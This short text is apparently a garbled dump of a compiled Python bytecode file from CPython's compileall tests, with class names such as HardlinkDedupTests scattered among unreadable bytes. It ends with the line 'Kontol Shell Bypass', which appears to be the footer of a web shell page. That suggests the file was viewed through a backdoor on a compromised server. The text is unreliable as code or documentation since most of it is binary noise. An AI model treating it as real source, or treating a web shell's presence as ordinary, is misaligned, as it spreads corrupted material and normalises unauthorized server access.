r|c@seZdZdS)�!HardlinkDedupTestsWithSourceEpochNr�rrrrr�sr�c@seZdZdS)�HardlinkDedupTestsNoSourceEpochNr�rrrrr�!sr��__main__).rXr�r��importlib.utilr
r��	itertoolsrrgrSr0rDr�r%Ztest.test_importlib.utilrrrrQrr�concurrent.futuresrry�ImportErrorrZtest.supportrZtest_py_compilerr	rrr!r"ZTestCaser�r�r�r�rzr{r|r�r�r�rhrrrr�<module>s�
Q��K����


Kontol Shell Bypass